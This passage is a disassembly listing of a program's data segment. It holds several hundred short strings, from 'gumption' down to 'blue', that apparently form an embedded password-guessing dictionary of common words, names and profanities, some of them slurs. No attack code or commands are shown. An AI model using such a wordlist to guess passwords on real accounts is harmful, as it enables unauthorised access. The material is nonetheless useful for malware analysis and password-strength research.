aGumption	db 'gumption',0         ; DATA XREF: seg002:00425034o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: seg002:00425030o
		align 4
aGuess		db 'guess',0            ; DATA XREF: seg002:0042502Co
		align 4
aGucci		db 'gucci',0            ; DATA XREF: seg002:00425028o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: seg002:00425024o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: seg002:00425020o
aGroup		db 'group',0            ; DATA XREF: seg002:0042501Co
		align 4
aGreen		db 'green',0            ; DATA XREF: seg002:00425018o
		align 10h
aGreat		db 'great',0            ; DATA XREF: seg002:00425014o
		align 4
aGrant		db 'grant',0            ; DATA XREF: seg002:00425010o
		align 10h
aGrand		db 'grand',0            ; DATA XREF: seg002:0042500Co
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: seg002:00425008o
		align 10h
aGraham		db 'graham',0           ; DATA XREF: seg002:00425004o
		align 4
aGrades		db 'grades',0           ; DATA XREF: seg002:00425000o
		align 10h
aGovermen	db 'govermen',0         ; DATA XREF: seg002:00424FFCo
		align 4
aGouge		db 'gouge',0            ; DATA XREF: seg002:00424FF8o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: seg002:00424FF4o
aGorges		db 'gorges',0           ; DATA XREF: seg002:00424FF0o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg002:00424FECo
		align 10h
aGood		db 'good',0             ; DATA XREF: seg002:00424FE8o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: seg002:00424FE4o
		align 10h
aGolf		db 'golf',0             ; DATA XREF: seg002:00424FE0o
		align 4
aGolden		db 'golden',0           ; DATA XREF: seg002:00424FDCo
		align 10h
aGold		db 'gold',0             ; DATA XREF: seg002:00424FD8o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: seg002:00424FD4o
aGirl		db 'girl',0             ; DATA XREF: seg002:00424FD0o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: seg002:00424FCCo
		align 10h
aGina		db 'gina',0             ; DATA XREF: seg002:00424FC8o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg002:00424FC4o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: seg002:00424FC0o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: seg002:00424FBCo
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: seg002:00424FB8o
		align 10h
aGerm		db 'germ',0             ; DATA XREF: seg002:00424FB4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg002:00424FB0o
		align 10h
aGauss		db 'gauss',0            ; DATA XREF: seg002:00424FACo
		align 4
aGatt		db 'gatt',0             ; DATA XREF: seg002:00424FA8o
		align 10h
aGatherin	db 'gatherin',0         ; DATA XREF: seg002:00424FA4o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: seg002:00424FA0o
aGarfield	db 'garfield',0         ; DATA XREF: seg002:00424F9Co
		align 10h
aGardner	db 'gardner',0          ; DATA XREF: seg002:00424F98o
aGames		db 'games',0            ; DATA XREF: seg002:00424F94o
		align 10h
aGabriel	db 'gabriel',0          ; DATA XREF: seg002:00424F90o
aFungible	db 'fungible',0         ; DATA XREF: seg002:00424F8Co
		align 4
aFunction	db 'function',0         ; DATA XREF: seg002:00424F88o
		align 10h
aFudge		db 'fudge',0            ; DATA XREF: seg002:00424F84o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg002:00424F80o
aFuckme		db 'fuckme',0           ; DATA XREF: seg002:00424F7Co
		align 4
aFucking	db 'fucking',0          ; DATA XREF: seg002:00424F78o
aFucker		db 'fucker',0           ; DATA XREF: seg002:00424F74o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: seg002:00424F70o
		align 10h
aFryguy		db 'fryguy',0           ; DATA XREF: seg002:00424F6Co
		align 4
aFrog		db 'frog',0             ; DATA XREF: seg002:00424F68o
		align 10h
aFrighten	db 'frighten',0         ; DATA XREF: seg002:00424F64o
		align 4
aFriends	db 'friends',0          ; DATA XREF: seg002:00424F60o
aFriend		db 'friend',0           ; DATA XREF: seg002:00424F5Co
		align 4
aFriday		db 'friday',0           ; DATA XREF: seg002:00424F58o
		align 4
aFrench		db 'french',0           ; DATA XREF: seg002:00424F54o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: seg002:00424F50o
aFree		db 'free',0             ; DATA XREF: seg002:00424F4Co
		align 4
aFred		db 'fred',0             ; DATA XREF: seg002:00424F48o
		align 4
aFreak		db 'freak',0            ; DATA XREF: seg002:00424F44o
		align 4
aFrank		db 'frank',0            ; DATA XREF: seg002:00424F40o
		align 4
aFrance		db 'france',0           ; DATA XREF: seg002:00424F3Co
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg002:00424F38o
aFourier	db 'fourier',0          ; DATA XREF: seg002:00424F34o
aForsythe	db 'forsythe',0         ; DATA XREF: seg002:00424F30o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: seg002:00424F2Co
		align 4
aFormat		db 'format',0           ; DATA XREF: seg002:00424F28o
		align 4
aForm		db 'form',0             ; DATA XREF: seg002:00424F24o
		align 4
aForever	db 'forever',0          ; DATA XREF: seg002:00424F20o
aForesigh	db 'foresigh',0         ; DATA XREF: seg002:00424F1Co
		align 4
aFord		db 'ford',0             ; DATA XREF: seg002:00424F18o
		align 10h
aForce		db 'force',0            ; DATA XREF: seg002:00424F14o
		align 4
aFootball	db 'football',0         ; DATA XREF: seg002:00424F10o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: seg002:00424F0Co
		align 10h
aFool		db 'fool',0             ; DATA XREF: seg002:00424F08o
		align 4
aFood		db 'food',0             ; DATA XREF: seg002:00424F04o
		align 10h
aFlowers	db 'flowers',0          ; DATA XREF: seg002:00424F00o
aFlower		db 'flower',0           ; DATA XREF: seg002:00424EFCo
		align 10h
aFlorida	db 'florida',0          ; DATA XREF: seg002:00424EF8o
aFloat		db 'float',0            ; DATA XREF: seg002:00424EF4o
		align 10h
aFlakes		db 'flakes',0           ; DATA XREF: seg002:00424EF0o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: seg002:00424EECo
aFirewall	db 'firewall',0         ; DATA XREF: seg002:00424EE8o
		align 4
aFire		db 'fire',0             ; DATA XREF: seg002:00424EE4o
		align 4
aFinite		db 'finite',0           ; DATA XREF: seg002:00424EE0o
		align 4
aFile		db 'file',0             ; DATA XREF: seg002:00424EDCo
		align 4
aFight		db 'fight',0            ; DATA XREF: seg002:00424ED8o
		align 4
aField		db 'field',0            ; DATA XREF: seg002:00424ED4o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: seg002:00424ED0o
		align 10h
aFerrari	db 'ferrari',0          ; DATA XREF: seg002:00424ECCo
aFermat		db 'fermat',0           ; DATA XREF: seg002:00424EC8o
		align 10h
aFender		db 'fender',0           ; DATA XREF: seg002:00424EC4o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: seg002:00424EC0o
aFeds		db 'feds',0             ; DATA XREF: seg002:00424EBCo
		align 4
aFear		db 'fear',0             ; DATA XREF: seg002:00424EB8o
		align 10h
aFast		db 'fast',0             ; DATA XREF: seg002:00424EB4o
		align 4
aFart		db 'fart',0             ; DATA XREF: seg002:00424EB0o
		align 10h
aFaraday	db 'faraday',0          ; DATA XREF: seg002:00424EACo
aFarad		db 'farad',0            ; DATA XREF: seg002:00424EA8o
		align 10h
aFamily		db 'family',0           ; DATA XREF: seg002:00424EA4o
		align 4
aFalse		db 'false',0            ; DATA XREF: seg002:00424EA0o
		align 10h
aFalcon		db 'falcon',0           ; DATA XREF: seg002:00424E9Co
		align 4
aFaith		db 'faith',0            ; DATA XREF: seg002:00424E98o
		align 10h
aFairway	db 'fairway',0          ; DATA XREF: seg002:00424E94o
aExtensio	db 'extensio',0         ; DATA XREF: seg002:00424E90o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: seg002:00424E8Co
		align 10h
aExplorer	db 'explorer',0         ; DATA XREF: seg002:00424E88o
		align 4
aExplore	db 'explore',0          ; DATA XREF: seg002:00424E84o
aExplode	db 'explode',0          ; DATA XREF: seg002:00424E80o
aExpert		db 'expert',0           ; DATA XREF: seg002:00424E7Co
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: seg002:00424E78o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: seg002:00424E74o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: seg002:00424E70o
		align 10h
aEstate		db 'estate',0           ; DATA XREF: seg002:00424E6Co
		align 4
aEstablis	db 'establis',0         ; DATA XREF: seg002:00424E68o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: seg002:00424E64o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: seg002:00424E60o
		align 4
aErin		db 'erin',0             ; DATA XREF: seg002:00424E5Co
		align 4
aErika		db 'erika',0            ; DATA XREF: seg002:00424E58o
		align 4
aErica		db 'erica',0            ; DATA XREF: seg002:00424E54o
		align 4
aEric		db 'eric',0             ; DATA XREF: seg002:00424E50o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: seg002:00424E4Co
aEnzyme		db 'enzyme',0           ; DATA XREF: seg002:00424E48o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: seg002:00424E44o
		align 10h
aEnter		db 'enter',0            ; DATA XREF: seg002:00424E40o
		align 4
aEnglish	db 'english',0          ; DATA XREF: seg002:00424E3Co
aEngland	db 'england',0          ; DATA XREF: seg002:00424E38o
aEngineer	db 'engineer',0         ; DATA XREF: seg002:00424E34o
		align 4
aEngine		db 'engine',0           ; DATA XREF: seg002:00424E30o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: seg002:00424E2Co
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg002:00424E28o
		align 10h
aEmily		db 'emily',0            ; DATA XREF: seg002:00424E24o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: seg002:00424E20o
aEmail		db 'email',0            ; DATA XREF: seg002:00424E1Co
		align 4
aEllen		db 'ellen',0            ; DATA XREF: seg002:00424E18o
		align 10h
aElizabet	db 'elizabet',0         ; DATA XREF: seg002:00424E14o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: seg002:00424E10o
		align 4
aElectron	db 'electron',0         ; DATA XREF: seg002:00424E0Co
		align 4
aElanor		db 'elanor',0           ; DATA XREF: seg002:00424E08o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: seg002:00424E04o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: seg002:00424E00o
		align 10h
aEinsiein	db 'einsiein',0         ; DATA XREF: seg002:00424DFCo
		align 4
aEileen		db 'eileen',0           ; DATA XREF: seg002:00424DF8o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg002:00424DF4o
		align 10h
aEgghead	db 'egghead',0          ; DATA XREF: seg002:00424DF0o
aEdwina		db 'edwina',0           ; DATA XREF: seg002:00424DECo
		align 10h
aEdwin		db 'edwin',0            ; DATA XREF: seg002:00424DE8o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: seg002:00424DE4o
		align 4
aEducation	db 'education',0        ; DATA XREF: seg002:00424DE0o
		align 10h
aEdition	db 'edition',0          ; DATA XREF: seg002:00424DDCo
aEdit		db 'edit',0             ; DATA XREF: seg002:00424DD8o
		align 10h
aEdinburg	db 'edinburg',0         ; DATA XREF: seg002:00424DD4o
		align 4
aEdges		db 'edges',0            ; DATA XREF: seg002:00424DD0o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: seg002:00424DCCo
		align 4
aEcho		db 'echo',0             ; DATA XREF: seg002:00424DC8o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: seg002:00424DC4o
		align 4
aEasy		db 'easy',0             ; DATA XREF: seg002:00424DC0o
		align 4
aEasier		db 'easier',0           ; DATA XREF: seg002:00424DBCo
		align 4
aEarth		db 'earth',0            ; DATA XREF: seg002:00424DB8o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: seg002:00424DB4o
		align 4
aEager		db 'eager',0            ; DATA XREF: seg002:00424DB0o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: seg002:00424DACo
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: seg002:00424DA8o
aDuncan		db 'duncan',0           ; DATA XREF: seg002:00424DA4o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: seg002:00424DA0o
		align 4
aDuke		db 'duke',0             ; DATA XREF: seg002:00424D9Co
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: seg002:00424D98o
aDude		db 'dude',0             ; DATA XREF: seg002:00424D94o
		align 4
aDuck		db 'duck',0             ; DATA XREF: seg002:00424D90o
		align 4
aDrought	db 'drought',0          ; DATA XREF: seg002:00424D8Co
aDrive		db 'drive',0            ; DATA XREF: seg002:00424D88o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: seg002:00424D84o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: seg002:00424D80o
		align 4
aDownload	db 'download',0         ; DATA XREF: seg002:00424D7Co
		align 10h
aDope		db 'dope',0             ; DATA XREF: seg002:00424D78o
		align 4
aDoors		db 'doors',0            ; DATA XREF: seg002:00424D74o
		align 10h
aDoor		db 'door',0             ; DATA XREF: seg002:00424D70o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg002:00424D6Co
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: seg002:00424D68o
		align 10h
aDoomii		db 'doomii',0           ; DATA XREF: seg002:00424D64o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: seg002:00424D60o
		align 10h
aDoom		db 'doom',0             ; DATA XREF: seg002:00424D5Co
		align 4
aDong		db 'dong',0             ; DATA XREF: seg002:00424D58o
		align 10h
aDollar		db 'dollar',0           ; DATA XREF: seg002:00424D54o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: seg002:00424D50o
		align 10h
aDisplay	db 'display',0          ; DATA XREF: seg002:00424D4Co
aDisney		db 'disney',0           ; DATA XREF: seg002:00424D48o
		align 10h
aDiskette	db 'diskette',0         ; DATA XREF: seg002:00424D44o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: seg002:00424D40o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: seg002:00424D3Co
		align 10h
aDisclose	db 'disclose',0         ; DATA XREF: seg002:00424D38o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: seg002:00424D34o
		align 4
aDisc		db 'disc',0             ; DATA XREF: seg002:00424D30o
		align 10h
aDirty		db 'dirty',0            ; DATA XREF: seg002:00424D2Co
		align 4
aDirector	db 'director',0         ; DATA XREF: seg002:00424D28o
		align 4
aDirect		db 'direct',0           ; DATA XREF: seg002:00424D24o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg002:00424D20o
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg002:00424D1Co
		align 10h
aDigital	db 'digital',0          ; DATA XREF: seg002:00424D18o
aDieter		db 'dieter',0           ; DATA XREF: seg002:00424D14o
		align 10h
aDiet		db 'diet',0             ; DATA XREF: seg002:00424D10o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: seg002:00424D0Co
aDick		db 'dick',0             ; DATA XREF: seg002:00424D08o
		align 4
aDice		db 'dice',0             ; DATA XREF: seg002:00424D04o
		align 10h
aDiane		db 'diane',0            ; DATA XREF: seg002:00424D00o
		align 4
aDiana		db 'diana',0            ; DATA XREF: seg002:00424CFCo
		align 10h
aDiamond	db 'diamond',0          ; DATA XREF: seg002:00424CF8o
aDial		db 'dial',0             ; DATA XREF: seg002:00424CF4o
		align 10h
aDevice		db 'device',0           ; DATA XREF: seg002:00424CF0o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: seg002:00424CECo
aDesperat	db 'desperat',0         ; DATA XREF: seg002:00424CE8o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg002:00424CE4o
aDesk		db 'desk',0             ; DATA XREF: seg002:00424CE0o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg002:00424CDCo
aDennis		db 'dennis',0           ; DATA XREF: seg002:00424CD8o
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg002:00424CD4o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: seg002:00424CD0o
		align 10h
aDeluge		db 'deluge',0           ; DATA XREF: seg002:00424CCCo
		align 4
aDelta		db 'delta',0            ; DATA XREF: seg002:00424CC8o
		align 10h
aDefoe		db 'defoe',0            ; DATA XREF: seg002:00424CC4o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg002:00424CC0o
aDeck		db 'deck',0             ; DATA XREF: seg002:00424CB8o
		align 4
aDecember	db 'december',0         ; DATA XREF: seg002:00424CB4o
		align 4
aDebug		db 'debug',0            ; DATA XREF: seg002:00424CB0o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg002:00424CACo
aDebbie		db 'debbie',0           ; DATA XREF: seg002:00424CA8o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg002:00424CA4o
		align 4
aDead		db 'dead',0             ; DATA XREF: seg002:00424CA0o
		align 10h
aDawn		db 'dawn',0             ; DATA XREF: seg002:00424C9Co
		align 4
aDave		db 'dave',0             ; DATA XREF: seg002:00424C98o
		align 10h
aData		db 'data',0             ; DATA XREF: seg002:00424C94o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: seg002:00424C90o
		align 4
aDark		db 'dark',0             ; DATA XREF: seg002:00424C8Co
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg002:00424C88o
		align 4
aDanny		db 'danny',0            ; DATA XREF: seg002:00424C84o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg002:00424C80o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: seg002:00424C7Co
		align 10h
aDancer		db 'dancer',0           ; DATA XREF: seg002:00424C78o
		align 4
aDana		db 'dana',0             ; DATA XREF: seg002:00424C74o
		align 10h
aDaisy		db 'daisy',0            ; DATA XREF: seg002:00424C70o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: seg002:00424C6Co
		align 10h
aCynthia	db 'cynthia',0          ; DATA XREF: seg002:00424C68o
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg002:00424C64o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg002:00424C60o
		align 10h
aCyber		db 'cyber',0            ; DATA XREF: seg002:00424C5Co
		align 4
aCustomer	db 'customer',0         ; DATA XREF: seg002:00424C58o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: seg002:00424C54o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg002:00424C50o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: seg002:00424C4Co
aCristina	db 'cristina',0         ; DATA XREF: seg002:00424C48o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: seg002:00424C44o
		align 4
aCrime		db 'crime',0            ; DATA XREF: seg002:00424C40o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg002:00424C3Co
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: seg002:00424C38o
		align 10h
aCredit		db 'credit',0           ; DATA XREF: seg002:00424C34o
		align 4
aCreature	db 'creature',0         ; DATA XREF: seg002:00424C30o
		align 4
aCreation	db 'creation',0         ; DATA XREF: seg002:00424C2Co
		align 10h
aCreate		db 'create',0           ; DATA XREF: seg002:00424C28o
		align 4
aCream		db 'cream',0            ; DATA XREF: seg002:00424C24o
		align 10h
aCrackpot	db 'crackpot',0         ; DATA XREF: seg002:00424C20o
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg002:00424C1Co
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: seg002:00424C18o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg002:00424C14o
		align 4
aCountry	db 'country',0          ; DATA XREF: seg002:00424C10o
aCounters	db 'counters',0         ; DATA XREF: seg002:00424C0Co
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg002:00424C08o
aCorneliu	db 'corneliu',0         ; DATA XREF: seg002:00424C04o
		align 10h
aCopy		db 'copy',0             ; DATA XREF: seg002:00424C00o
		align 4
aCops		db 'cops',0             ; DATA XREF: seg002:00424BFCo
		align 10h
aCopper		db 'copper',0           ; DATA XREF: seg002:00424BF8o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: seg002:00424BF4o
		align 10h
aCool		db 'cool',0             ; DATA XREF: seg002:00424BF0o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: seg002:00424BECo
		align 10h
aCookbook	db 'cookbook',0         ; DATA XREF: seg002:00424BE8o
		align 4
aCook		db 'cook',0             ; DATA XREF: seg002:00424BE4o
		align 4
aContinue	db 'continue',0         ; DATA XREF: seg000:0040BA69o
					; seg002:00424BE0o
		align 10h
aConsole	db 'console',0          ; DATA XREF: seg002:00424BDCo
aConserva	db 'conserva',0         ; DATA XREF: seg002:00424BD8o
		align 4
aConnie		db 'connie',0           ; DATA XREF: seg002:00424BD4o
		align 4
aCondom		db 'condom',0           ; DATA XREF: seg002:00424BCCo
		align 4
aCondo		db 'condo',0            ; DATA XREF: seg002:00424BC8o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: seg002:00424BC4o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: seg002:00424BC0o
aComputin	db 'computin',0         ; DATA XREF: seg002:00424BBCo
		align 4
aCompany	db 'company',0          ; DATA XREF: seg002:00424BB8o
aCommrade	db 'commrade',0         ; DATA XREF: seg002:00424BB4o
		align 10h
aCommit		db 'commit',0           ; DATA XREF: seg002:00424BB0o
		align 4
aComics		db 'comics',0           ; DATA XREF: seg002:00424BACo
		align 10h
aCombat		db 'combat',0           ; DATA XREF: seg002:00424BA8o
		align 4
aColor		db 'color',0            ; DATA XREF: seg002:00424BA4o
		align 10h
aCollins	db 'collins',0          ; DATA XREF: seg002:00424BA0o
aCold		db 'cold',0             ; DATA XREF: seg002:00424B9Co
		align 10h
aCola		db 'cola',0             ; DATA XREF: seg002:00424B98o
		align 4
aCoke		db 'coke',0             ; DATA XREF: seg002:00424B94o
		align 10h
aCoin		db 'coin',0             ; DATA XREF: seg002:00424B90o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: seg002:00424B8Co
		align 10h
aCodeword	db 'codeword',0         ; DATA XREF: seg002:00424B88o
		align 4
aCodename	db 'codename',0         ; DATA XREF: seg002:00424B84o
		align 4
aCode		db 'code',0             ; DATA XREF: seg002:00424B80o
		align 10h
aCock		db 'cock',0             ; DATA XREF: seg002:00424B7Co
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: seg002:00424B78o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: seg002:00424B74o
		align 10h
aCoast		db 'coast',0            ; DATA XREF: seg002:00424B70o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: seg002:00424B6Co
		align 4
aCluster	db 'cluster',0          ; DATA XREF: seg002:00424B68o
aClinton	db 'clinton',0          ; DATA XREF: seg002:00424B64o
aCleavage	db 'cleavage',0         ; DATA XREF: seg002:00424B60o
		align 10h
aClaymore	db 'claymore',0         ; DATA XREF: seg002:00424B5Co
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: seg002:00424B58o
aClassic	db 'classic',0          ; DATA XREF: seg002:00424B54o
aClasses	db 'classes',0          ; DATA XREF: seg002:00424B50o
aClass		db 'class',0            ; DATA XREF: seg002:00424B4Co
		align 4
aCindy		db 'cindy',0            ; DATA XREF: seg002:00424B48o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: seg002:00424B44o
		align 10h
aCigar		db 'cigar',0            ; DATA XREF: seg002:00424B40o
		align 4
aChristy	db 'christy',0          ; DATA XREF: seg002:00424B3Co
aChristin	db 'christin',0         ; DATA XREF: seg002:00424B38o
		align 4
aChris		db 'chris',0            ; DATA XREF: seg002:00424B34o
		align 4
aChip		db 'chip',0             ; DATA XREF: seg002:00424B30o
		align 4
aChester	db 'chester',0          ; DATA XREF: seg002:00424B2Co
aChess		db 'chess',0            ; DATA XREF: seg002:00424B28o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: seg002:00424B24o
		align 4
aChem		db 'chem',0             ; DATA XREF: seg002:00424B20o
		align 10h
aChat		db 'chat',0             ; DATA XREF: seg002:00424B1Co
		align 4
aCharon		db 'charon',0           ; DATA XREF: seg002:00424B18o
		align 10h
aCharming	db 'charming',0         ; DATA XREF: seg002:00424B14o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: seg002:00424B10o
aCharles	db 'charles',0          ; DATA XREF: seg002:00424B0Co
aCharity	db 'charity',0          ; DATA XREF: seg002:00424B08o
aChange		db 'change',0           ; DATA XREF: seg002:00424B04o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: seg002:00424B00o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: seg002:00424AFCo
aCeltic		db 'celtic',0           ; DATA XREF: seg002:00424AF8o
		align 4
aCelt		db 'celt',0             ; DATA XREF: seg002:00424AF4o
		align 10h
aCecily		db 'cecily',0           ; DATA XREF: seg002:00424AF0o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: seg002:00424AECo
		align 10h
aCave		db 'cave',0             ; DATA XREF: seg002:00424AE8o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: seg002:00424AE4o
		align 10h
aCatholic	db 'catholic',0         ; DATA XREF: seg002:00424AE0o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: seg002:00424ADCo
		align 4
aCastle		db 'castle',0           ; DATA XREF: seg002:00424AD8o
		align 10h
aCash		db 'cash',0             ; DATA XREF: seg002:00424AD4o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: seg002:00424AD0o
		align 4
aCarson		db 'carson',0           ; DATA XREF: seg002:00424ACCo
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: seg002:00424AC8o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: seg002:00424AC4o
		align 10h
aCarolina	db 'carolina',0         ; DATA XREF: seg002:00424AC0o
		align 4
aCarole		db 'carole',0           ; DATA XREF: seg002:00424ABCo
		align 4
aCarol		db 'carol',0            ; DATA XREF: seg002:00424AB8o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: seg002:00424AB4o
		align 4
aCarla		db 'carla',0            ; DATA XREF: seg002:00424AB0o
		align 4
aCaren		db 'caren',0            ; DATA XREF: seg002:00424AACo
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: seg002:00424AA8o
		align 10h
aCard		db 'card',0             ; DATA XREF: seg002:00424AA4o
		align 4
aCapture	db 'capture',0          ; DATA XREF: seg002:00424AA0o
aCaptain	db 'captain',0          ; DATA XREF: seg002:00424A9Co
aCantor		db 'cantor',0           ; DATA XREF: seg002:00424A98o
		align 10h
aCandy		db 'candy',0            ; DATA XREF: seg002:00424A94o
		align 4
aCandi		db 'candi',0            ; DATA XREF: seg002:00424A90o
		align 10h
aCamping	db 'camping',0          ; DATA XREF: seg002:00424A8Co
aCampanil	db 'campanil',0         ; DATA XREF: seg002:00424A88o
		align 4
aCamille	db 'camille',0          ; DATA XREF: seg002:00424A84o
aCaliforn	db 'californ',0         ; DATA XREF: seg002:00424A80o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: seg002:00424A7Co
		align 4
aButt		db 'butt',0             ; DATA XREF: seg002:00424A78o
		align 4
aButch		db 'butch',0            ; DATA XREF: seg002:00424A74o
		align 4
aBurn		db 'burn',0             ; DATA XREF: seg002:00424A70o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: seg002:00424A6Co
aBung		db 'bung',0             ; DATA XREF: seg002:00424A68o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: seg002:00424A64o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: seg002:00424A60o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: seg002:00424A5Co
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: seg002:00424A58o
		align 4
aBrute		db 'brute',0            ; DATA XREF: seg002:00424A54o
		align 10h
aBrunette	db 'brunette',0         ; DATA XREF: seg002:00424A50o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: seg002:00424A4Co
aBroadway	db 'broadway',0         ; DATA XREF: seg002:00424A48o
		align 10h
aBridget	db 'bridget',0          ; DATA XREF: seg002:00424A44o
aBrian		db 'brian',0            ; DATA XREF: seg002:00424A40o
		align 10h
aBrenda		db 'brenda',0           ; DATA XREF: seg002:00424A3Co
		align 4
aBreast		db 'breast',0           ; DATA XREF: seg002:00424A38o
		align 10h
aBreak		db 'break',0            ; DATA XREF: seg002:00424A34o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: seg002:00424A30o
		align 10h
aBrandy		db 'brandy',0           ; DATA XREF: seg002:00424A2Co
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: seg002:00424A28o
		align 10h
aBradley	db 'bradley',0          ; DATA XREF: seg002:00424A24o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg002:00424A20o
		align 4
aBorn		db 'born',0             ; DATA XREF: seg002:00424A1Co
		align 4
aBook		db 'book',0             ; DATA XREF: seg002:00424A18o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: seg002:00424A14o
		align 4
aBoob		db 'boob',0             ; DATA XREF: seg002:00424A10o
		align 4
aBoner		db 'boner',0            ; DATA XREF: seg002:00424A0Co
		align 4
aBomb		db 'bomb',0             ; DATA XREF: seg002:00424A08o
		align 4
aBoard		db 'board',0            ; DATA XREF: seg002:00424A04o
		align 4
aBlues		db 'blues',0            ; DATA XREF: seg002:00424A00o
		align 4
aBlue		db 'blue',0             ; DATA XREF: seg002:004249FCo
		align 4
